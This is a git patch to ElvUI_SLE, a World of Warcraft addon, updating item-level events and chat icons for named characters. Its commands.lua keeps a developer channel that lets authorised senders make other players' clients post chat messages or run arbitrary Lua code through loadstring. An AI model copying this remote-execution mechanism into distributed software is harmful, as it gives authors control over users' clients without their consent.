From 669ea030384787322771e7a6e1584fb33d8437f0 Mon Sep 17 00:00:00 2001 From: Repooc Date: Tue, 16 Jul 2013 00:30:54 -0400 Subject: [PATCH] Update ilvl function and added some more people in chat icons for guild and personal use --- ElvUI_SLE/dev/commands.lua | 132 +++++++++++++----------- ElvUI_SLE/modules/characterframe/itemlevel.lua | 7 +- ElvUI_SLE/modules/chat/chat.lua | 18 +++- ElvUI_SLE/modules/datatexts/load_datatexts.xml | 2 + 4 files changed, 94 insertions(+), 65 deletions(-) diff --git a/ElvUI_SLE/dev/commands.lua b/ElvUI_SLE/dev/commands.lua index 7ee7fba..c04a6b8 100755 --- a/ElvUI_SLE/dev/commands.lua +++ b/ElvUI_SLE/dev/commands.lua @@ -1,59 +1,73 @@ -local E, L, V, P, G, _ = unpack(ElvUI); --Inport: Engine, Locales, PrivateDB, ProfileDB, GlobalDB -local SLE = E:GetModule('SLE'); -local find = string.find -local split = string.split - -function E:sleSays(msg) -- /w Target /slesays {Target|ALL}#channel#message#whispertarget - if not SLE:Auth() then return end - if channel == 'WHISPER' and target == nil then - E:Print('You need to set a whisper target.') - return - end - SendAddonMessage('SLE_DEV_SAYS', msg, channel, target) -end - -function E:sleCommand(msg) -- /w Target /slecmd {Target|ALL}#script - if not SLE:Auth() then return end - if channel == 'WHISPER' and target == nil then - E:Print('You need to set a whisper target.') - return - end - SendAddonMessage('SLE_DEV_CMD', msg, channel, target) -end - -local function SendRecieve(self, event, prefix, message, channel, sender) - if event == "CHAT_MSG_ADDON" then - if sender == E.myname then return end - if SLE:Auth() then return end - if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and (SLE:CrossAuth(sender) or SLE:Auth()) then - if prefix == 'SLE_DEV_SAYS' then - local user, channel, msg, sendTo = split("#", message) - - if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then - SendChatMessage(msg, channel, nil, sendTo) - end - else - local user, executeString = split("#", message) - if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then - local func, err = loadstring(executeString); - if not err then - SLE:Print(format("Developer Executed: %s", executeString)) - func() - end - end - end - end - end -end -RegisterAddonMessagePrefix('SLE_DEV_SAYS') -RegisterAddonMessagePrefix('SLE_DEV_CMD') - -local f = CreateFrame('Frame', "DaFrame") -f:RegisterEvent("GROUP_ROSTER_UPDATE") -f:RegisterEvent("CHAT_MSG_ADDON") -f:SetScript('OnEvent', SendRecieve) - -function SLE:RegisterCommands() - E:RegisterChatCommand('slesays', 'sleSays') - E:RegisterChatCommand('slecmd', 'sleCommand') -end +local E, L, V, P, G, _ = unpack(ElvUI); --Inport: Engine, Locales, PrivateDB, ProfileDB, GlobalDB +local SLE = E:GetModule('SLE'); +local find = string.find +local split = string.split + +local channel = 'GUILD' +local target = nil; +function E:sleChannel(chnl) + channel = chnl + E:Print(format('Developer channel has been changed to %s.', chnl)) +end + +function E:sleTarget(tgt) + target = tgt + E:Print(format('Developer target has been changed to %s.', tgt)) +end + +function E:sleSays(msg) -- /w Target /slesays {Target|ALL}#channel#message#whispertarget + if not SLE:Auth() then return end + if channel == 'WHISPER' and target == nil then + E:Print('You need to set a whisper target.') + return + end + SendAddonMessage('SLE_DEV_SAYS', msg, channel, target) +end + +function E:sleCommand(msg) -- /w Target /slecmd {Target|ALL}#script + if not SLE:Auth() then return end + if channel == 'WHISPER' and target == nil then + E:Print('You need to set a whisper target.') + return + end + SendAddonMessage('SLE_DEV_CMD', msg, channel, target) +end + +local function SendRecieve(self, event, prefix, message, channel, sender) + if event == "CHAT_MSG_ADDON" then + if sender == E.myname then return end + if SLE:Auth() then return end + if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and (SLE:CrossAuth(sender) or SLE:Auth()) then + if prefix == 'SLE_DEV_SAYS' then + local user, channel, msg, sendTo = split("#", message) + + if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then + SendChatMessage(msg, channel, nil, sendTo) + end + else + local user, executeString = split("#", message) + if (user ~= 'ALL' and user == E.myname) or user == 'ALL' then + local func, err = loadstring(executeString); + if not err then + SLE:Print(format("Developer Executed: %s", executeString)) + func() + end + end + end + end + end +end +RegisterAddonMessagePrefix('SLE_DEV_SAYS') +RegisterAddonMessagePrefix('SLE_DEV_CMD') + +local f = CreateFrame('Frame', "DaFrame") +f:RegisterEvent("GROUP_ROSTER_UPDATE") +f:RegisterEvent("CHAT_MSG_ADDON") +f:SetScript('OnEvent', SendRecieve) + +function SLE:RegisterCommands() + E:RegisterChatCommand('slesays', 'sleSays') + E:RegisterChatCommand('slecmd', 'sleCommand') + E:RegisterChatCommand('sletarget', 'sleTarget') + E:RegisterChatCommand('slechannel', 'sleChannel') +end diff --git a/ElvUI_SLE/modules/characterframe/itemlevel.lua b/ElvUI_SLE/modules/characterframe/itemlevel.lua index 2d3573f..4a8cbbb 100755 --- a/ElvUI_SLE/modules/characterframe/itemlevel.lua +++ b/ElvUI_SLE/modules/characterframe/itemlevel.lua @@ -122,9 +122,10 @@ function CFO:LoadItemLevel() end) self:RegisterEvent("PLAYER_EQUIPMENT_CHANGED", "UpdateItemLevel") - self:RegisterEvent("SOCKET_INFO_UPDATE", "UpdateItemLevel") - self:RegisterEvent("MASTERY_UPDATE", "UpdateItemLevel") - self:RegisterEvent("COMBAT_RATING_UPDATE", "UpdateItemLevel") + --self:RegisterEvent("SOCKET_INFO_UPDATE", "UpdateItemLevel") + --self:RegisterEvent("MASTERY_UPDATE", "UpdateItemLevel") + --self:RegisterEvent("COMBAT_RATING_UPDATE", "UpdateItemLevel") + self:RegisterEvent("ITEM_UPGRADE_MASTER_UPDATE", "UpdateItemLevel") local frame for i = 1, #ilvlSlots do diff --git a/ElvUI_SLE/modules/chat/chat.lua b/ElvUI_SLE/modules/chat/chat.lua index 9595ed8..d7cea1c 100755 --- a/ElvUI_SLE/modules/chat/chat.lua +++ b/ElvUI_SLE/modules/chat/chat.lua @@ -4,7 +4,8 @@ local SLE = E:GetModule('SLE'); local LSM = LibStub("LibSharedMedia-3.0") --Textures for chat -CHAT_FLAG_SLEAUTHOR = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\SLE_Chat_Logo:13:22|t" +CHAT_FLAG_SLEADAPT = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\adapt.tga:0:2|t" +CHAT_FLAG_SLEAUTHOR = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\SLE_Chat_Logo.tga:0:2|t" CHAT_FLAG_SLERPG = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\Chat_RPG:13:35|t" CHAT_FLAG_SLEFRIEND = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\Chat_Friend:13:13|t" CHAT_FLAG_SLETEST = "|TInterface\\AddOns\\ElvUI_SLE\\media\\textures\\Chat_Test:13:13|t" @@ -29,7 +30,7 @@ local IconTable = { ["Нарджо"] = "SLEAUTHOR", ["Верзук"] = "SLEAUTHOR", ["Крениг"] = "SLEAUTHOR", - ["Большойгном"] = "SLETEST", --Testing toon + ["Большойгном"] = "SLETEST" --Testing toon }, ["ВечнаяПесня"] = { --Darth's toons @@ -60,7 +61,18 @@ local IconTable = { ["Cursewordz"] = "SLEAUTHOR" }, ["Spirestone"] = { - ["Sifupooc"] = "SLEAUTHOR" + ["Sifupooc"] = "SLEAUTHOR", + ["Dapooc"] = "SLEAUTHOR", + ["Lapooc"] = "SLEAUTHOR", + ["Warpooc"] = "SLEAUTHOR", + --Adapt Roster + ["Mobius"] = "SLEADAPT", + ["Urgfelstorm"] = "SLEADAPT", + ["Kilashandra"] = "SLEADAPT", + ["Electrro"] = "SLEADAPT", + ["Afterthot"] = "SLEADAPT", + ["Lavathing"] = "SLEADAPT", + ["Finkle"] = "SLEADAPT" }, ["Andorhal"] = { ["Dapooc"] = "SLEAUTHOR", diff --git a/ElvUI_SLE/modules/datatexts/load_datatexts.xml b/ElvUI_SLE/modules/datatexts/load_datatexts.xml index ed7e9bd..d56029f 100755 --- a/ElvUI_SLE/modules/datatexts/load_datatexts.xml +++ b/ElvUI_SLE/modules/datatexts/load_datatexts.xml @@ -7,6 +7,8 @@